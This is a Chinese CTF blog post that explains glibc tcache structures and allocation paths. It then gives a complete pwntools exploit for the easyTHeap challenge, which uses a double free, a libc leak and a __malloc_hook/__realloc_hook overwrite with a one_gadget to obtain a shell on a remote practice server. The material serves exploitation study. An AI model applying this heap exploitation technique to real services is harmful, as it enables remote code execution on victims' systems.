注意
本文最后更新于 2024-02-11,文中内容可能已过时。
基础介绍
tcache:thread local caching,在libc2.26及以上系统中默认开始(Ubuntu 16.04中是2.23, Ubuntu 18.04中是2.27)
每个线程默认使用64个单链表结构的bins,每个bins最多存放7个chunk。
chunk大小在x64上以0x10递增(0x18 ~ 0x408),在x86上以0x8递增(0xC ~ 0x200)。
引入了两个新的数据结构,tcache_entry 和tcache_perthread_struct
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static __thread tcache_perthread_struct *tcache = NULL;
tcache_perthread_struct
counts:用来存放对应bins中的chunk数量
entries: 用来指向对应bins中的头部指针,然后用指针对应位置的tcache_entry结构的next进行索引,构成一个单向链表结构。
tcache_entry
next:用来指向下一个chunk,与fastbin中的类似,位置正是原来fastbin的fd位置,且在free时也是把头部指针指向,最后一个free进入tcache中的块。
触发在tcache中放入chunk的操作(tcache_put)
free:
在fastbin操作前进行,如果chunk size符合要求(小于最大限制),且对应的bins还没有装满(7个chunk),则将其放入tcache bin中。
malloc:
从fastbin中返回了一个所需要的chunk,那么这个chunk对应的fastbin中的其他chunk会被放进对应的tcache bin中,直到装满为止。而且chunks在tcache bin的顺序和fastbin中的顺序相反。 small bin中的情况也与fastbin类似。 binning code(chunk合并等其他情况)中,每一个符合要求的 chunk 都会优先被放入 tcache,而不是直接返回(除非tcache被装满)。寻找结束后,tcache 会返回其中一个。 触发从tcache中取出chunk的操作(tcache_get)
malloc
如果在tcache bin中有符合要求的chunk,则直接返回这个chunk。
tcache 中的 chunk 不会被合并,无论是相邻 chunk,还是 chunk 和 top chunk。因为这些 chunk 会被标记为 inuse。
例题:
[V&N2020 公开赛]easyTHeap
double free UAF change tcache(0x90),爆破4字节。 添加三次后,0x90对应的tcache size变成-1 -1 == 0xFF > 7,所以这时候free会进入unsorted bin leak unsorted bin 打malloc_hook,并且利用realloc_hook进行调整 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
from LibcSearcher import *
#context.log_level = "debug"
def choice ( idx ):
r . sendlineafter ( "choice: " , str ( idx ))
def add ( size ):
choice ( 1 )
r . sendlineafter ( "size?" , str ( size ))
def edit ( idx , content ):
choice ( 2 )
r . sendlineafter ( "idx?" , str ( idx ))
r . sendafter ( "content:" , content )
def show ( idx ):
choice ( 3 )
r . sendlineafter ( "idx?" , str ( idx ))
def delete ( idx ):
choice ( 4 )
r . sendlineafter ( "idx?" , str ( idx ))
def pwn ():
heap_addr = 0x0088
add ( 0x88 ) #0
add ( 0x18 ) #1
delete ( 0 )
delete ( 0 ) #double free
add ( 0x88 ) #2
edit ( 2 , p16 ( heap_addr ))
add ( 0x88 ) #3
add ( 0x88 ) #4 tcache
#tcache size == -1
#unsortbin leak
delete ( 2 )
show ( 2 )
malloc_hook_addr = u64 ( r . recvuntil ( ' \x7f ' )[ - 6 :] . ljust ( 8 , ' \x00 ' )) - 96 - 0x10
log . success ( "malloc_hook_addr: " + hex ( malloc_hook_addr ))
libc = LibcSearcher ( '__malloc_hook' , malloc_hook_addr )
libc_base = malloc_hook_addr - libc . dump ( '__malloc_hook' )
log . success ( "libc_base: " + hex ( libc_base ))
realloc_addr = libc_base + libc . dump ( 'realloc' )
log . success ( "realloc_addr: " + hex ( realloc_addr ))
#one = [0x4f365, 0x4f365, 0x4f365]
one = [ 0x4f2c5 , 0x4f322 , 0x10a38c ]
one_gadget = libc_base + one [ 2 ]
log . success ( "one_gadget: " + hex ( one_gadget ))
edit ( 4 , p64 ( malloc_hook_addr - 8 ))
add ( 0x88 ) #5 realloc_hook __malloc_hook
edit ( 5 , p64 ( one_gadget ) + p64 ( realloc_addr + 6 ))
#getshell
add ( 0x88 )
r . interactive ()
while True :
try :
#r = process('./vn_pwn_easyTHeap')
r = remote ( 'node3.buuoj.cn' , 27905 )
pwn ()
except EOFError :
pass
SWPUCTF 2020 tnote
https://blog.wjhwjhn.com/archives/104/
SWPUCTF 2019 p1KkHeap
https://blog.wjhwjhn.com/archives/97/
总结
ubuntu16.04已经慢慢地要被淘汰了,现在比赛的题目大多数都是在libc 2.27下,如果出现libc2.23一般都会是比较难的题目,例如:ByteCTF 2019 note_five
https://blog.wjhwjhn.com/archives/117/ ,考察IO_fILE leak
的一些技巧,堆块限制卡的很死。
基本上简单的fastbin attack考察已经不复存在了,其完全可以被tcache attack取代,不过我觉得tcache反而更容易利用更简单一些。
所以掌握简单的tcache一定是有必要的。